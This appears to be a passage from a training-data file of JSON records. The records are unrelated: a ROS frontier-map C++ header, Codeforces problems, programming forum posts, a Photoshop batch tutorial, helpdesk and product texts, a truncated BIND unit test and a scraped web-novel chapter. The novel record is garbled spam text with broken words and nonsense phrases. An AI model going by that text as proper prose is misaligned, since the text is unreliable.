/**\n     * @brief Default Constructor\n     *\n     * @param fvalues Frontier evaluation vector. Each element corresponds to a measure of the value of a frontier\n     */\n    compFrontierValues(fvalueType fvalues) : fvaluesStruct_(fvalues) {}\n    /**\n     * @brief Compare two functions according to fvalues\n     *\n     * @param f1 Left Hand Side frontier\n     * @param f2 Right Hand Side frontier\n     *\n     * @return True if \\p f1 is less valuable than \\p f2, false otherwise\n     */\n    bool operator()(const frontier& f1, const frontier& f2);\nprivate:\n    /**\n     * @brief fvalueType to be used for comparison\n     */\n    fvalueType fvaluesStruct_;\n};\n\n\n/**\n * @brief Functor indicating wether a certain frontier has a minimum size\n */\nstruct hasNotMinumumSize\n{\n    /**\n     * @brief Constructor\n     *\n     * @param siz Minimum frontier size\n     */\n    hasNotMinumumSize(unsigned int siz) : siz_(siz){}\n    /**\n     * @brief Indicate wether the frontier \\p f has not a minimum size\n     *\n     * @param f Frontier to be evaluated\n     *\n     * @return True if the frontier size is less than the threshold. False otherwise\n     */\n    bool operator()(const frontier& f){ return f.size() < siz_; }\nprivate:\n    /**\n     * @brief Size threshold\n     */\n    unsigned int siz_;\n\n};\n\n\n/**\n * @brief Representation of the collection of frontiers in a map\n */\nclass FrontiersMap\n{\npublic:\n    typedef std::list<frontier>::const_iterator const_iterator;\n\n    FrontiersMap();\t\t///< Parameterless constructor\n    ~FrontiersMap();\t\t///< Parameterless destructor\n\n    /**\n     * @brief Append frontier \\p f to FrontiersMap::frontiers_\n     *\n     * @param f New frontier\n     */\n    void add(frontier f) { frontiers_.push_back(f);}\n\n    /**\n     * @brief Copy the content of \\p frontiers_in to FrontiersMap::frontiers_\n     *\n     * @param frontiers_in Container of frontiers\n     */\n    template <typename T>\n    void setFrontiers(T frontiers_in)\n    {\n    \tfrontiers_.clear();\n    \t// Curously enough, copy_if does not exist previous to C++11 because of a Stroustroup's oversight\n    \t// One have to use this 'copy_if_not'\n\tstd::remove_copy_if(frontiers_in.begin(), frontiers_in.end(), std::back_inserter(frontiers_),\n\t\t\thasNotMinumumSize(minimum_size_));\n    }\n\n    /**\n     * @brief Print information of all frontiers regarding their evaluations\n     */\n    void printAll();\n    /**\n     * @brief Get the most valued frontier\n     *\n     * @return Most valued frontier\n     */\n    frontier max();\n\n    /**\n     * @brief Iterator-like operations to access fvalues\n     */\n    const_iterator begin() const {return frontiers_.begin();}\n    const_iterator sbegin();\t/// < Sort before returning first element iterator\n    const_iterator end() const {return frontiers_.end();} ///< @copydoc begin()\n\n    /**\n     * @brief Get parameters from parameter server\n     *\n     * @param nptr Pointer from which to retreive parameters. It should have the proper namespace\n     */\n    void getParams(ros::NodeHandlePtr nptr);\n    /**\n     * @brief Add a frontier evaluation object\n     *\n     * @param name Name of the frontier evaluation object\n     * @param params Set of parameters to be passed to the evaluation object\n     */\n    void addFrontierValue(std::string name, std::map<std::string, std::string> params);\n    /**\n     * @brief Add a frontier evaluation object without parameters\n     *\n     * @param name Name of the frontier evaluation object\n     */\n    void addFrontierValue(std::string name);\n\n    /**\n     * @brief Append frontier evaluation object to FrontiersMap::fvalues\n     *\n     * @param fvalue New frontier evaluation object to be considered\n     */\n    void addStrategy(strategy::frontierValue & fvalue)\n    {\n    \tfvalues.push_back(&fvalue);\n    }\n\n    /**\n     * @brief Check if the OccupancyGrid cell \\p c is frontier cell\n     *\n     * @param c OccupancyGrid cell to be evaluated\n     *\n     * @return True if \\p c corresponds to a frontier, false otherwise\n     */\n    bool isFrontier(int c);\n\n    /**\n     * @brief Verbosity level\n     */\n    int verbosity;\n\nprivate:\n    std::list<frontier> frontiers_;\t///< Container of frontiers\n\n    fvalueType fvalues;\t\t\t///< Collection of frontier evaluation objects\n\n    bool isConfigured;\t\t\t///< Is the map of frontiers configured? (e.g. has getParams been called?)\n    unsigned int minimum_size_;\t\t///< Which is the minimum size a frontier should has in order to be considered?\n};\n\n\n} /* cam_exploration */\n\n\n\n\n#endif  // CAM_EXPLORATION_FRONTIERS_MAP_H", "source": "cpt_stack_code", "language": "code", "token_count": 1605, "token_count_with_eod": 1606, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Why this topic matters\nImposter syndrome hinders career success by causing distress, excessive self-monitoring, and fears of failure. And according to research, up to 82% of people suffer from imposter syndrome.\nWhat participants will do together\n- Define imposter syndrome and identify its drivers\n- Recognize how imposter syndrome manifests in the workplace\n- Practice 2 strategies for stepping towards confidence", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 83, "token_count_with_eod": 84, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a string, consisting of lowercase Latin letters.\n\nA pair of neighbouring letters in a string is considered ugly if these letters are also neighbouring in a alphabet. For example, string \"abaca\" contains ugly pairs at positions $$$(1, 2)$$$ — \"ab\" and $$$(2, 3)$$$ — \"ba\". Letters 'a' and 'z' aren't considered neighbouring in a alphabet.\n\nCan you rearrange the letters of a given string so that there are no ugly pairs? You can choose any order of the letters of the given string but you can't add any new letters or remove the existing ones. You can also leave the order the same.\n\nIf there are multiple answers, print any of them.\n\nYou also have to answer $$$T$$$ separate queries.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Graduated from Milwaukee School of Engineering – Milwaukee, WI\nB.S. Software Engineering with Mathematics minor, May 2013\n- Java, C#.NET\n- Android platform\n- SVN, GIT, Eclipse, Visual Studio\n- MySQL, and SQLite\n- VBA, Microsoft Excel\n- C, Objective-C\n- IOs platform\nI mostly patrol the wpf and excel tags. But I do like to answer a java or generic c# question here or there. I am also an advocate for using excel-formulas over excel-vba and I will usually be that guy who gives the \"here is how to do this with formulas\" answer :)\nSanta Clara, CA, USA\nMember for 8 years, 9 months\n9 profile views\nLast seen 2 days ago\nTop network posts\n- 89 How can I color dots in a xy scatterplot according to column value?\n- 36 Wrong results in Google spreadsheets Lookup functions (vlookup, hlookup, match)\n- 25 How to do a \"Save As\" in vba code, saving my current Excel workbook with datestamp?\n- 22 How do you select the entire excel sheet with Range using VBA?\n- 17 Why does it keep saying my post is mostly code?\n- 12 This demo works 4 out of 5 times, why is it giving me an error sometimes?\n- 12 Find the ROW number in excel with multiple matching criteria\n- View more network posts →", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 319, "token_count_with_eod": 320, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Aim: To use multi-threading and inter-process communication(IPC) when coding an autonomous robot.\nPlatform: Embedded Linux (Yocto)\nConstraints : Limited CPU power.\nWe are building an Autonomous Underwater Vehicle, to compete in the RoboSub competition. This is the first time I am doing something like this. I intent to use a middleware like ROS, MIRA, YART, MOOS etc. The purpose of using one is that I want to modularise tasks, and divide the core components into subsystems, which should be run parallel(by multi-threading). But I have limited computational power (a dual core omap SoC), and the middleware, while robust should also be very efficient.\nI need to use a middleware, because I don't want the program to be run on a single thread. My CPU has two cores, and it would be great if I could do some multi-threading to improve performance of the program. The middleware will provide for me the communication layer, so I don't have to worry about data races, or other problems associated with parallel processing. Also I have no prior experience writing multi-threaded programs, and so using parallel processing libraries directly would be difficult. Hence IMO, middlewares are excellent choices.\nIn your experience, which is the best one suited for the task. I don't really want to use ROS, because it will be having a lot of features, and I wont be using them. I am a computer science student(under graduate freshman, actually) and don't mind getting my hands dirty with one which has not that much features. That's true if only it will take less toll on the CPU.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 342, "token_count_with_eod": 343, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Folks, I have a serious dilemma, and I wanted to run it by you to see what you think.\nI've been experimenting with Clojure for the past couple of months and I've found the language extremely fun and exciting and the community really tight-knit and supportive. I'll be frank, I'm a bit infatuated with the language, but at the same time I need to balance myself with the need to put food on the table.\nI currently work on startupy stuff, building web apps / APIs and rapidly prototyping and iterating ideas. I need to be able to crunch out minimally buggy code in the least amount of time. The decision for me is ultimately Rails vs Clojure. I'm pretty familiar with Rails and I know my way around it. Not a guru, but I've done a few projects in it and I don't think there's much of a science to it. The ecosystem is great, there's a gem for everything (social integration, background jobs, even stuff like rubber which will can streamline AWS deployment immensely), ready-to-steal code all over Google and StackOverflow, tutorials for every single thing... I can very quickly put together code that works.\nThe big upside to Rails, its opinionation and convention-over-configuration, is however also its worst side: a lot of the framework is fat and magical inside. ActiveRecord will have a 30-frames-deep stack just to generate a basic SQL query, the configuration is all over the place and god forbid you want to get more bang for your buck out of a good database engine e.g. add constraints, use postgre-specific datatypes, composite primary keys, remove primary key and so on. The framework will fight you tooth and nail to make it difficult to stray from the preferred path. Maybe I should just try ripping out ActiveRecord, but them I'm guessing that half of the gems will never work again.\nWith Clojure, web development is the Wild West. Whatever you do, you do it by hand. Ok, a bunch of really kind people put together Noir, Korma, Hiccup/Enlive, a CSRF-protection library and a few more. You can interop with Java, which I guess is almost as good of an ecosystem than the Rails one. You still however need to write user-management by hand (Devise is sorely missed!), automate the deployment (no rubber), implement integration testing (I don't think there's anything of that sort out yet), implement solid logging, implement DB migrations, and have to do all sorts of manual security patching when new vulnerabilities are discovered (the Rails team does it for you). Doing all of this stuff is fun as hell, but I feel that you might severely slow down rapid prototyping and ease of in-production maintenance. At the end of the day you have a business to run and the damn thing has to stay up and running and be easily upgradeable from one version to the next.\nWhat is your take on this? Is this actual risk or just perceived risk in my head? Any tips for how I can de-risk things? How do you, people with Clojure-as-breadwinner, sleep at night? Any suggestions would be super-appreciated.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 661, "token_count_with_eod": 662, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A permutation p of length n is a sequence of distinct integers p1, p2, ..., pn (1 ≤ pi ≤ n). A permutation is an identity permutation, if for any i the following equation holds pi = i.\n\nA swap (i, j) is the operation that swaps elements pi and pj in the permutation. Let's assume that f(p) is the minimum number of swaps that you need to make the permutation p an identity permutation.\n\nValera wonders, how he can transform permutation p into any permutation q, such that f(q) = m, using the minimum number of swaps. Help him do that.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Here is a simple batch processing method using the File > Automate > Batch command that enables you to bypass the Action Process requirement so you can perform manual output sequential batch processing.\nStep 1: Create a ‘donothing’ Action\n- Go Window>Actions to bring the Actions Palette to the foreground.\n- Click the Create New Set icon at the bottom of the Actions Palette.\n- At the New Set prompt give it a user friendly name, I used ‘donothing’.\n- Click OK to commit the New Set changes.\n- The new ‘donothing’ set is now active and available in the Actions Palette. Next click the ‘Create New Action’ icon command.\n- Give the New Action a user friendly name, I used ‘donothing’ again.\n- Click the Record command option.\n- Notice the active red Record playback control at the bottom of the Actions Palette.\n- As indicated by the title, we don’t want this action to record anything so click the Stop playback control. But it will be used to by-pass the ‘Play’ feature within the ‘Batch’ dialog.\nStep 2: Perform Batch\n- Go File>Automate>Batch.\n- Set the Play:Set and Action to the ‘donothing’ ones created earlier.\n- For sake of this example I used Source : Folder and clicked the Choose… command to locate a folder of images.\n- I then set the Destination : Folder and clicked Choose… for the new batch items to be saved to. (In my case in a folder on my Desktop).\n- In the File Naming section I set to 2 Digit Serial Number from the drop list.\n- Then set Starting Serial# to 01. Then click OK to batch process.\nNote: Supplying the Play feature with such a ‘donothing’ action you will be prompted with ‘Save As’ dialog for each batch process.\nTo avoid the Save As dialog you may prefer ready made Action from the Production Set, entitled Save As JPG Medium as captured below.\nBelow is the before batch (left) and after batch (right).", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Appleman and Toastman play a game. Initially Appleman gives one group of n numbers to the Toastman, then they start to complete the following tasks:\n\n- Each time Toastman gets a group of numbers, he sums up all the numbers and adds this sum to the score. Then he gives the group to the Appleman.\n- Each time Appleman gets a group consisting of a single number, he throws this group out. Each time Appleman gets a group consisting of more than one number, he splits the group into two non-empty groups (he can do it in any way) and gives each of them to Toastman.\n\nAfter guys complete all the tasks they look at the score value. What is the maximum possible value of score they can get?", "source": "cpt_codeforces", "language": "en", "token_count": 156, "token_count_with_eod": 157, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/*\n* This header is generated by classdump-dyld 1.0\n* on Saturday, August 24, 2019 at 9:45:38 PM Mountain Standard Time\n* Operating System: Version 12.4 (Build 16M568)\n* Image Source: /System/Library/PrivateFrameworks/MusicLibrary.framework/MusicLibrary\n* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos.\n*/\n\n\n@protocol OS_dispatch_queue;\n@class NSMutableDictionary, NSObject;\n\n@interface ML3DatabaseValidationClient : NSObject {\n\n\tNSMutableDictionary* _validatableDatabases;\n\tNSObject*<OS_dispatch_queue> _serialQueue;\n\n}\n+(id)sharedClient;\n-(BOOL)validateDatabaseForLibrary:(id)arg1 ;\n-(BOOL)_validateDatabaseForPath:(id)arg1 usingLibrary:(id)arg2 ;\n-(id)_validatableDatabaseForPath:(id)arg1 ;\n-(BOOL)validateDatabaseAtPath:(id)arg1 ;\n-(BOOL)validateDatabaseForConnection:(id)arg1 ;\n-(BOOL)isValidatingDatabaseForPath:(id)arg1 ;\n-(id)init;\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 261, "token_count_with_eod": 262, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Outlook is showing generic icons: How do I restore FileSite’s specific icons?\nSometimes the FileSite or Email Management icons get misplaced. In my experience, the problem usually affects only one person rather than being widespread.\nMore than one situation can cause this issue.\nPossible cause: Icon storage corrupted\nI’ve seen this error reported in connection with a user’s inbox. The inbox uses blank white icons instead of displaying Email Management’s specific icons. Specifically, the email icon which ought to look like a filed email with a green check-mark can instead appear like this:\nIn this scenario, the helpdesk can force FileSite to reload the icons, by updating the user’s registry.\n- You must be logged in to the machine as the user who has reported the problem.\n- Exit all Microsoft Office and PDF editor programs.\n- Launch the registry editor and navigate to HKCU.\n- Tell FileSite to re-load those icons when next launched: set IconFormInstalled to 0.\n- Start Outlook, and when it is loaded, click to expand the FileSite navigation tree if it is not already expanded.\n- Meanwhile, watch the status messages displayed as Outlook launches and the FileSite navigation tree is displayed. A brief message will appear, saying that the icons are being loaded.\nIf corrupted storage was causing this problem, the icons will now appear correctly.\nPossible cause: Display scaling not set to a supported percentage\nI’ve seen this error reported in conjunction with the icons in FileSite’s navigation tree. Outlook shows its default folder icons before it loads the FileSite custom ones, and if it cannot load FileSite’s, the yellow ones remain visible. FileSite’s specific icons usually appear on top of the generic icons, and cover them completely. What if there is a size mismatch?\nThis problem scenario is specific to the display resolution not being set to 100%. The non-standard DPI scaling appears to cause the generic folder icons to be a larger size than the FileSite icons. The larger folder icon may appear behind the FileSite icon, looking like a yellow rectangle. If the FileSite icons are completely missing, the generic folder icon is all that you would see.\nIn this scenario, the helpdesk can reset the display to 100% DPI scaling, and restart Outlook. If the display scaling was the source of the problem, the icons will now appear correctly.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Leverage the power of Piksel Palette in your business\nGet started with one of our guides, get an overview of the Piksel Palette architecture, or dive deep into our technical reference documentations.\nTransforming the digital supply chain\nFuse Metadata Manager improves content discovery through a single coherent view of metadata - aggregating, linking, merging, enriching and augmenting to provide a single authoratative source.\nFuse Publisher helps content providers reduce their time to market new video content by streamlining asset processing workflows and negating constraints imposed by legacy, siloed broadcast-era systems.\nDigital Showcase is a SaaS-based broadcast grade video platform that enables content owners, aggregators and distributors to integrate live, linear and on-demand programming into a multiscreen environment.\nWith the help of our solutions architects, leverage video platform services to either create or complement your existing systems landscape.\nBuilt on top of a powerful architecture\nMicro Service Architecture\nPalette services are lightweight, independent, with a single well defined function, communicate with each other via well defined interfaces and work together to provide business value.\nPalette eliminates the need to host, maintain, back up, and scale your own video services. The platform automatically scales to meet your growing video catalogue and audience.\nPerformant & Scalable\nPalette has a highly scalable, redundant, and durable architecture, built to meet the exacting performance and demands of modern video delivery.\nHighly Available & Fault Tolerant\nPalette is globally distributed and redundant, designed from the ground up to tolerate and recover from failure, ensuring that your video solution is highly available and accessible.\nAll aspects of the video platform are monitored and metrics gathered to know what is happening and make informed choices of how to react.\nSimple to integrate yet powerful APIs for you to integrate quickly into your existing infrastructure and workflows, so you can plug in Palette components with the least amount of effort.\nShortened Innovation Cycles\nOur APIs and services are constantly improving behind the scenes, so you can integrate once and benefit from the latest innovations and features going forward.\nEvery single change flows down a delivery pipeline through successive stages, must meet quality standards and, if successful, is deployed into production. Failures are reported and fixed with highest priority.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 457, "token_count_with_eod": 458, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Besides some vintage editions of existing modules, the A-135ABC VC Performance mixer modules, the A-110-6Trapezoid Thru Zero Quadrature VCO and a new A-100LC1 case (economically priced small housing with 48 HP width) there was also one other interesting new module announcement:\nModule A-150-8 contains eight manually/voltage controlled switches.\nEach of the eight switches has a manual control button (Man.), a control voltage input (CV), a common Out / Input (O/I), and two In / Outputs (I/O1, I/O2).\nThe switches are bi-directional, i.e. they can work in both directions, so can connect one input to either of two outputs, or either of two inputs to one output.\n|A-150-8 Octal VC Switch prototype|\nTwo LEDs show which in / output is active (ie. which is connected to the common out / input).\nIn addition the LEDs are used for the programming of the module:\nFor each unit the operating mode can be selected:\nToggle or Level controlled. In Toggle mode the rising edge of the CV input or operating the manual control button changes the state of the switch. In Level mode the switch state is defined by the voltage applied to the CV input (low voltage = I/O1, high voltage = I/O2) or by the state of the manual control button (not pressed = I/O1, pressed = I/O2).\nThe modes are programmed very easily: Operating the Toggle/Level button of the program section displays the current state of each switch with the LEDs (left LED on = Toggle mode, right LED on = Level mode).\nOperating the manual control button of the switch in question changes the toggle/level mode.\nIn addition it's possible to define master/slave groups. In such a group the upper unit (= master) controls also the state of the following switches provided that they are defined as slaves.\nMaster/slave programming is also very simple: Operating the Master/Slave button of the program section displays the current state of each switch with the LEDs (left LED on = Master, right LED on = Slave).\nOperating the manual control button of the switch in question changes the master/slave mode.\nWhen all 8 units are defined as master each switch is independent of each other. If for example the sequence is MSSSMSMS the control unit of the first switch also controls the switches 2, 3 and 4. The control unit of switch #5 also controls the switch #6, and the control unit of switch #7 also controls the switch #8.\nDoepfer is also thinking about a small preset management with eight presets which store the states and modes of all switches. But they are not yet sure if this makes sense because the configuration of the switches is associated very closely to the patching of the sockets.\nDate of Delivery: Spring 2017\nPrice: ~ US$ 160.00 (Euro 150.00)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 642, "token_count_with_eod": 643, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Sereja is interested in intervals of numbers, so he has prepared a problem about intervals for you. An interval of numbers is a pair of integers [l, r] (1 ≤ l ≤ r ≤ m). Interval [l1, r1] belongs to interval [l2, r2] if the following condition is met: l2 ≤ l1 ≤ r1 ≤ r2.\n\nSereja wants to write out a sequence of n intervals [l1, r1], [l2, r2], ..., [ln, rn] on a piece of paper. At that, no interval in the sequence can belong to some other interval of the sequence. Also, Sereja loves number x very much and he wants some (at least one) interval in the sequence to have li = x. Sereja wonders, how many distinct ways to write such intervals are there?\n\nHelp Sereja and find the required number of ways modulo 1000000007 (109 + 7).\n\nTwo ways are considered distinct if there is such j (1 ≤ j ≤ n), that the j-th intervals in two corresponding sequences are not equal.", "source": "cpt_codeforces", "language": "en", "token_count": 246, "token_count_with_eod": 247, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Brilliantnovel 《Imperial Commander: His Pretty Wife Is Spoiled Rotten》 – Chapter 1069 – Interested Parties fragile exciting share-p1\nNovel–Imperial Commander: His Pretty Wife Is Spoiled Rotten–Imperial Commander: His Pretty Wife Is Spoiled Rotten\nChapter 1069 – Interested Parties erratic meat\nApart from not developing something, they had already been utterly embarra.s.sed. As for Liang Xinyi, she definitely wouldn’t have the ability to type in Jingdu’s socialite group of friends nowadays. It may be also hard for her to ever get a spouse.\nLiang Xinyi is a mislead who seems to be neither bright adequate nor shrewd plenty of. So she would become a hassle-free weapon for Qiao Ximin to make use of.\nD*mn it! Again it was subsequently all Yun Xi’s negligence! It turned out all her mistake!\nSu Donglin then converted around and checked out Liang Xinyi. “You superior get ready for the purpose taken place tonight. We will not just for leave behind the issue in that. Also, even if you are area of the Su household, don’t count on us that will help you with a single thing you are likely to do. If you are going to visit around seeking issues, you better understand to look after it yourself.”\nIn Liang Xiuqin’s viewpoint, Chen Lixue possessed decided on to jump into this case themselves. For this reason, she deserved regardless of what was in retailer on her down the road.\nWithout Yun Xi, anything could have eliminated in line with her program, and issues wouldn’t have been found like this now.\nWhatever happened today would be described as a significant blow to her. Not only does she not get anything at all fantastic out of it, it had even totally exposed her loved ones.h.i.+p with Han Zhongteng. She was so embarra.s.sed with this fiasco.\nIt appeared like she got designed the best relocate, as just everything would deepen the hatred and trouble between them.\nLiang Xinyi acquired used loads of efforts to gain access to the socialite circle in Jingdu. It had been an opportunity she experienced picked up by breaking up her dad and mum. But, considering that she was about to walk into the group, she acquired kicked out appropriate within the entrance.\nChen Lixue was really a showoff who experienced humiliated Liang Xiuqin by resting together with her husband. Check out her now! Her girl went around everywhere searching for issues and had even messed up her wedding event.\nShe just has to determine exactly how to utilise the possibilities!\nChen Lixue certainly possessed a excellent little princess, who decided to go around trying to find trouble without the need of forgetting to pull her mom down with her.\nAs the masses dispersed, Su Donglin and Su Zongping have been the only real people in the Su family left within the pool area. The remaining got eliminated straight back to the banquet hall to captivate the visitors.\nLiang Xinyi possessed invested many work to get involved with the socialite group of friends in Jingdu. It was a chance she had received by separating her daddy and mom. But, considering that she was about to enter the group of friends, she have kicked out perfect in the front door.\nJust wait around, Yun Xi, I will make sure you will have a tastes of the items I experienced today.\nChen Lixue was a showoff who experienced humiliated Liang Xiuqin by sleep together with her husband. Look at her now! Her girl proceeded to go around everywhere looking for trouble along with even messed up her big day.\nIn Liang Xiuqin’s judgment, Chen Lixue experienced selected to leap into this case themselves. Consequently, she deserved whatever is in retail store for her at some point.\nImmediately after Liang Xinyi was removed, Qiao Ximin walked out of a dim area. Her outfit influenced as she migrated, there was an unconcealable satisfied expression in her deal with.\nThe deal with between Liang Xinyi and Yun Xi had been significantly more intense than she obtained dreamed. And she was anticipating the following one.\nLiang Xiuqin believed so excellent seeing that happen.\nChapter 1069: Interested Functions\nLiang Xinyi is a mislead who is neither brilliant ample nor shrewd sufficient. So she would grow to be a straightforward weapon for Qiao Ximin to implement.\nChen Lixue experienced boasted about marrying a prosperous mankind. But she probably wouldn’t be able to guide the at ease life a of abundant spouse.\nShe possessed already anticipated the Su spouse and children would not part of to support her cleanup any chaos. Even so, for Su Donglin to mention it straight away to her facial area, she still felt extremely humiliated.\nChen Lixue certainly got a great girl, who decided to go around searching for difficulty with out forgetting to pull her new mother down along with her.\nAfter everybody eventually left, Su Donglin termed for his a.s.sistant in the future above, and he instructed him in the frosty sound, “Take them lower back, and don’t permit them to show up here again this evening.”\nChapter 1069: Fascinated Functions\nLiang Xinyi is actually a trick that is neither vibrant more than enough nor shrewd more than enough. So she would become a simple tool for Qiao Ximin to make use of.\nSu Donglin’s ice cold phrases. .h.i.t Liang Xinyi tricky. She acquired just healed slightly in the surprise and embarra.s.sment she obtained gone through just now.\nLiang Xiuqin was surprised that Yun Xi, who she possessed always believed was actually a jinx, might get the Huo loved ones heir plus the Jiang family members heir to talk up on her behalf. Since when acquired she turn out to be a real preferred female?\nWith out Yun Xi, every thing may have removed depending on her strategy, and factors wouldn’t have proved this way these days.\nLiang Xiuqin experienced so good seeing that transpire.\nChen Lixue got boasted about marrying a well-off male. But she probably wouldn’t have the capacity to cause the secure lifestyle a of loaded partner.\nShe just has to understand precisely how to utilise the opportunities!\nwho said that youth is wasted on the young\nIt seemed like she got built the best transfer, as just something would deepen the hatred and clash between the two.\nAfter everybody remaining, Su Donglin named for his a.s.sistant to come around, and the man instructed him inside of a cool sound, “Take them rear, and do not allow them to turn up here again tonight.”", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Consider some set of distinct characters $$$A$$$ and some string $$$S$$$, consisting of exactly $$$n$$$ characters, where each character is present in $$$A$$$.\n\nYou are given an array of $$$m$$$ integers $$$b$$$ ($$$b_1 < b_2 < \\dots < b_m$$$).\n\nYou are allowed to perform the following move on the string $$$S$$$:\n\n1. Choose some valid $$$i$$$ and set $$$k = b_i$$$;\n2. Take the first $$$k$$$ characters of $$$S = Pr_k$$$;\n3. Take the last $$$k$$$ characters of $$$S = Su_k$$$;\n4. Substitute the first $$$k$$$ characters of $$$S$$$ with the reversed $$$Su_k$$$;\n5. Substitute the last $$$k$$$ characters of $$$S$$$ with the reversed $$$Pr_k$$$.\n\nFor example, let's take a look at $$$S =$$$ \"abcdefghi\" and $$$k = 2$$$. $$$Pr_2 =$$$ \"ab\", $$$Su_2 =$$$ \"hi\". Reversed $$$Pr_2 =$$$ \"ba\", $$$Su_2 =$$$ \"ih\". Thus, the resulting $$$S$$$ is \"ihcdefgba\".\n\nThe move can be performed arbitrary number of times (possibly zero). Any $$$i$$$ can be selected multiple times over these moves.\n\nLet's call some strings $$$S$$$ and $$$T$$$ equal if and only if there exists such a sequence of moves to transmute string $$$S$$$ to string $$$T$$$. For the above example strings \"abcdefghi\" and \"ihcdefgba\" are equal. Also note that this implies $$$S = S$$$.\n\nThe task is simple. Count the number of distinct strings.\n\nThe answer can be huge enough, so calculate it modulo $$$998244353$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 389, "token_count_with_eod": 390, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "A famous gang of pirates, Sea Dogs, has come back to their hideout from one of their extravagant plunders. They want to split their treasure fairly amongst themselves, that is why You, their trusted financial advisor, devised a game to help them:\n\nAll of them take a sit at their round table, some of them with the golden coins they have just stolen. At each iteration of the game if one of them has equal or more than 2 coins, he is eligible to the splitting and he gives one coin to each pirate sitting next to him. If there are more candidates (pirates with equal or more than 2 coins) then You are the one that chooses which one of them will do the splitting in that iteration. The game ends when there are no more candidates eligible to do the splitting.\n\nPirates can call it a day, only when the game ends. Since they are beings with a finite amount of time at their disposal, they would prefer if the game that they are playing can end after finite iterations, and if so, they call it a good game. On the other hand, if no matter how You do the splitting, the game cannot end in finite iterations, they call it a bad game. Can You help them figure out before they start playing if the game will be good or bad?", "source": "cpt_codeforces", "language": "en", "token_count": 268, "token_count_with_eod": 269, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You were dreaming that you are traveling to a planet named Planetforces on your personal spaceship. Unfortunately, its piloting system was corrupted and now you need to fix it in order to reach Planetforces.\n\nSpace can be represented as the $$$XY$$$ plane. You are starting at point $$$(0, 0)$$$, and Planetforces is located in point $$$(p_x, p_y)$$$.\n\nThe piloting system of your spaceship follows its list of orders which can be represented as a string $$$s$$$. The system reads $$$s$$$ from left to right. Suppose you are at point $$$(x, y)$$$ and current order is $$$s_i$$$:\n\n- if $$$s_i = \\text{U}$$$, you move to $$$(x, y + 1)$$$;\n- if $$$s_i = \\text{D}$$$, you move to $$$(x, y - 1)$$$;\n- if $$$s_i = \\text{R}$$$, you move to $$$(x + 1, y)$$$;\n- if $$$s_i = \\text{L}$$$, you move to $$$(x - 1, y)$$$.\n\nSince string $$$s$$$ could be corrupted, there is a possibility that you won't reach Planetforces in the end. Fortunately, you can delete some orders from $$$s$$$ but you can't change their positions.\n\nCan you delete several orders (possibly, zero) from $$$s$$$ in such a way, that you'll reach Planetforces after the system processes all orders?", "source": "cpt_codeforces", "language": "en", "token_count": 328, "token_count_with_eod": 329, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/*\n * Copyright (C) 2011-2013, 2015  Internet Systems Consortium, Inc. (\"ISC\")\n *\n * Permission to use, copy, modify, and/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND ISC DISCLAIMS ALL WARRANTIES WITH\n * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY\n * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,\n * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM\n * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE\n * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR\n * PERFORMANCE OF THIS SOFTWARE.\n */\n\n/* $Id$ */\n\n/*! \\file */\n\n#include <config.h>\n\n#include <atf-c.h>\n\n#include <unistd.h>\n\n#include <isc/buffer.h>\n#include <isc/task.h>\n#include <isc/timer.h>\n\n#include <dns/name.h>\n#include <dns/view.h>\n#include <dns/zone.h>\n\n#include \"dnstest.h\"\n\n/*\n * Individual unit tests\n */\nATF_TC(zonemgr_create);\nATF_TC_HEAD(zonemgr_create, tc) {\n\tatf_tc_set_md_var(tc, \"descr\", \"create zone manager\");\n}\nATF_TC_BODY(zonemgr_create, tc) {\n\tdns_zonemgr_t *myzonemgr = NULL;\n\tisc_result_t result;\n\n\tUNUSED(tc);\n\n\tresult = dns_test_begin(NULL, ISC_TRUE);\n\tATF_REQUIRE_EQ(result, ISC_R_SUCCESS);\n\n\tresult = dns_zonemgr_create(mctx, taskmgr, timermgr, socketmgr,\n\t\t\t\t    &myzonemgr);\n\tATF_REQUIRE_EQ(result, 